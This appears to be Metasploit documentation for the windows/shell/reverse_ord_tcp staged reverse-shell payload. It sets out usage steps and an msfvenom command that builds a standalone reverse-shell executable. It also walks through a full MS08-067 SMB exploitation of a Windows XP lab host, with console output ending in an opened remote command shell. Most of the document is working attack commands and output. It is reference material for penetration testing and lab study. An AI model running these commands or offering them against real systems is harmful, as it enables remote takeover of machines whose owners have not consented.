Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/windows/shell/reverse_ord_tcp
msf payload(reverse_ord_tcp) > show options
    ... show and set options ...
msf payload(reverse_ord_tcp) > generate

Required Options

  • LHOST: The listen address (an interface may be specified)

Knowledge Base

Windows Command Shell

Reverse Ordinal TCP Stager is an unique windows payload for Metasploit Framework.

It is really small (<100 bytes), it uses the existing ws2_32.dll in memory in connect and load the next stage of the payload. It provides a shell on the target machine which can be used to achieve almost anything on the target pc.

Vulnerable Application

This Meterpreter payload is suitable for the following environments:

  • Windows x86
  • Windows x64

Usage

As a payload for an exploit:

To check its compatibility with an exploit, select the exploit in the msf console and type the info command. The output will be similar to:

msf5 payload(windows/shell/reverse_tcp) > info

       Name: Windows Command Shell, Reverse TCP Stager
     Module: payload/windows/shell/reverse_tcp
   Platform: Windows
       Arch: x86

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Spawn a piped command shell (staged). Connect back to the attacker

If the platform field includes Windows, then windows/shell/reverse_ord_tcp can be used as the payload.

To use at as a payload for an exploit, use the following commands:

  1. In msfconsole, select an exploit module compatible with windows.
  2. Configure the options for that exploit.
  3. Then run the following command: set windows/shell/reverse_ord_tcp
  4. Set the LHOST option, to be the IP address that the payload should connect to.
  5. Then run the command: exploit.

If the exploit is successful, the payload will get executed.

As a standalone executable

To use it as an executable, use the msfvenom tool. A typical example of doing this is as follows:

./msfvenom -p windows/shell/reverse_ord_tcp LHOST=192.168.23.1 LPORT=4444 -f exe -o /tmp/ordpayload.exe

Scenarios

The following commands are run on a Windows XP SP 2 English Machine:

msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_ord_tcp
payload => windows/shell/reverse_ord_tcp
msf exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.3     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.56.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(windows/smb/ms08_067_netapi) > exploit

The above commands will result into the following scenario, leading a shell on the target machine:

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 192.168.56.3:445 - Automatically detecting the target...
[*] 192.168.56.3:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.56.3:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.56.3:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.56.3
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.3:1034) at 2018-08-17 15:25:02 +0530
